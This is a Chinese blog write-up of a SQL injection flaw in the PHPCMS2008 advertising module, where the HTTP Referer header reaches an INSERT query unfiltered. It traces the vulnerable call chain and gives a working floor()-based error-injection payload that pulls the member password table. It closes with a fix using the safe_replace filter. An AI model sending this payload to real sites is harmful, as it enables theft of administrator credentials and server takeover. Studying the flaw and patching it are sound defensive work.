PHPCMS2008广告模板SQL注入漏洞修复


Posted in PHP onOctober 11, 2016

00 漏洞描述

PHPCMS2008由于广告模块取referer不严,导致一处sql注入漏洞.可以得到管理员用户名与密码,攻击者登录后台后可能会获取webshell,对服务器进行进一步的渗透。

01 漏洞分析

漏洞产生的位置:

/ads/include/ads_place.class.phpshow方法中.

function show($placeid)
...
if($adses[0]['option'])
{
foreach($adses as $ads)
{
$contents[] = ads_content($ads, 1);
$this->db->query(“INSERT INTO$this->stat_table(`adsid`,`username`,`ip`,`referer`,`clicktime`,`type`)VALUES (‘$ads[adsid]','$_username','$ip',‘$this->referrer',‘$time',,'0')”);
$template = $ads['template'] ? $ads['template'] : 'ads';
}
}
...

sql语句中

$this->db->query(“INSERT INTO$this->stat_table(`adsid`,`username`,`ip`,`referer`,`clicktime`,`type`)VALUES (‘$ads[adsid]','$_username','$ip',‘$this->referrer',‘$time',,'0')”);

这里$this->referrer过this方法直接将HTTP请求头中的referer字段插入到数据库中,没有做任何过滤措施。(这个this方法是PHPCMS里面直接封装的)。

所以现在已经找到漏洞点,下一步就是找包含漏洞的用户可控的页面。如果漏洞是用户不可控的,比如只能管理员利用,那就相当的鸡肋了。

这里使用回溯的方法,看看哪些页面调用了它。

页面/ads/include/commom.inc.php

<?php 
...
require MOD_ROOT.'include/ads_place.class.php';
require MOD_ROOT.'include/ads.class.php';
...
?>

在往上看看谁调用了/ads/include/commom.inc.php

/ads/ad.php文件中

<?php
...
require './include/common.inc.php';
...
?>

ad.php文件为用户可控文件,但ad.php有时不能访问,继续向上查找/data/js.php

<?php
chdir(‘../ads/');
require ‘./ad.php';
?>

在用户访问首页时,会调用js.php,通过该文件可以提交有害字段,然后通过逐层调用,传入字段referer到危险方法show,引入SQL注入攻击。

02 漏洞利用

修改请求头中的referer字段的话有很多种,比如burpsuite,Tamper Data…

这里直接使用火狐的Tamper Data进行修改:

点击Start Tamper,然后访问http://your-addr/data/js.php?id=1

这时候Tamper Data会跳出来,在右边框内,点击右键,添加一个element值填写payload

referer=1', (SELECT 1 FROM (select count(*), concat(floor(rand(0)*2),char(45,45,45),(SELECT password from phpcms_member limit 1))a from information_schema.tables group by a)b), ‘0')#

这里我解释一下:因为漏洞的sql语句是INSERT是不回显的,所以可以使用盲注,这里的payload使用的floor报错注入。floor报错注入原理请参考:floor函数用法

把这个payload带入sql语句中是:

$this->db->query(“INSERT INTO$this->stat_table(`adsid`,`username`,`ip`,`referer`,`clicktime`,`type`)VALUES (‘$ads[adsid]','$_username','$ip',‘1',‘$time',(SELECT 1 FROM (select count(*), concat(floor(rand(0)*2),char(45,45,45),(SELECT password from phpcms_member limit 1))a from information_schema.tables group by a)b), ‘0')#,'0')”);

PHPCMS2008广告模板SQL注入漏洞修复

03 漏洞修复

对相关字段进行过滤处理。

$referer = safe_replace($this->referer);
$this->db->query("INSERT INTO $this->stat_table (`adsid`, `username`, `ip`, `referer`, `clicktime`, `type`) VALUES ('$ads[adsid]', '$_username', '$ip', '$referer', '$time', '0')");
$template = $ads['template'] ? $ads['template'] : 'ads';

这里safe_replace是PHPCMS2008封装的过滤函数。

以上所述是小编给大家介绍的PHPCMS2008广告模板SQL注入漏洞,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对三水点靠木网站的支持!

PHP 相关文章推荐
php GD绘制24小时柱状图
Jun 28 PHP
PHP mb_convert_encoding 获取字符串编码类型实现代码
Apr 26 PHP
按上下级层次关系输出内容的PHP代码
Jul 17 PHP
php下获取Discuz论坛登录用户名、用户组、用户ID等信息的实现代码
Dec 29 PHP
php curl基本操作详解
Jul 23 PHP
PHP生成RSS文件类实例
Dec 05 PHP
帝国cms目录结构分享
Jul 06 PHP
Joomla开启SEF的方法
May 04 PHP
PHP设计模式之工厂模式与单例模式
Sep 28 PHP
浅谈PHP中静态方法和非静态方法的相互调用
Oct 04 PHP
PHP实现数组向任意位置插入,删除,替换数据操作示例
Apr 05 PHP
php 实现简单的登录功能示例【基于thinkPHP框架】
Dec 02 PHP
php基于curl实现随机ip地址抓取内容的方法
Oct 11 #PHP
php 获取文件行数的方法总结
Oct 11 #PHP
PHP中文字符串截断无乱码解决方法
Oct 10 #PHP
PHP获取用户客户端真实IP的解决方案
Oct 10 #PHP
php表单加入Token防止重复提交的方法分析
Oct 10 #PHP
Laravel5中防止XSS跨站攻击的方法
Oct 10 #PHP
php中让人头疼的浮点数运算分析
Oct 10 #PHP
You might like
利用PHP实现智能文件类型检测的实现代码
2011/08/02 PHP
PHP设计模式之责任链模式的深入解析
2013/06/13 PHP
常见php数据文件缓存类汇总
2014/12/05 PHP
浅谈php提交form表单
2015/07/01 PHP
PHP插件PHPMailer发送邮件功能
2017/02/28 PHP
Nigma vs Alliance BO5 第二场2.14
2021/03/10 DOTA
对Jquery中的ajax再封装,简化操作示例
2014/02/12 Javascript
javascript匿名函数应用示例介绍
2014/03/07 Javascript
indexOf 和 lastIndexOf 使用示例介绍
2014/09/02 Javascript
jQuery类选择器用法实例
2014/12/23 Javascript
javascript中innerText和innerHTML属性用法实例分析
2015/05/13 Javascript
JavaScript生成福利彩票双色球号码
2015/05/15 Javascript
javascript中if和switch,==和===详解
2015/07/30 Javascript
基于angular中的重要指令详解($eval,$parse和$compile)
2016/10/21 Javascript
Node.js 数据加密传输浅析
2016/11/16 Javascript
浅析上传头像示例及其注意事项
2016/12/14 Javascript
jQuery按需加载轮播图(web前端性能优化)
2017/02/17 Javascript
详解用vue-cli来搭建vue项目和webpack
2017/04/20 Javascript
基于jQuery实现文字打印动态效果
2017/04/21 jQuery
Vue 中使用 CSS Modules优雅方法
2018/04/09 Javascript
微信小程序画布圆形进度条显示效果
2020/11/17 Javascript
Next.js项目实战踩坑指南(笔记)
2018/11/29 Javascript
js函数柯里化的方法和作用实例分析
2020/04/11 Javascript
如何用Python来搭建一个简单的推荐系统
2019/08/07 Python
PyQt5连接MySQL及QMYSQL driver not loaded错误解决
2020/04/29 Python
python 3.8.3 安装配置图文教程
2020/05/21 Python
sublime3之内网安装python插件Anaconda的流程
2020/11/10 Python
美国玛丽莎收藏奢华时尚商店:Marissa Collections
2016/11/21 全球购物
如何获取某个日期是当月的最后一天
2013/12/05 面试题
社区活动总结报告
2014/05/05 职场文书
大气污染防治方案
2014/05/19 职场文书
聚众斗殴罪辩护词
2015/05/21 职场文书
亮剑观后感600字
2015/06/05 职场文书
费城故事观后感
2015/06/10 职场文书
2016春季幼儿园开学寄语
2015/12/03 职场文书
在项目中使用redis做缓存的一些思路
2021/09/14 Redis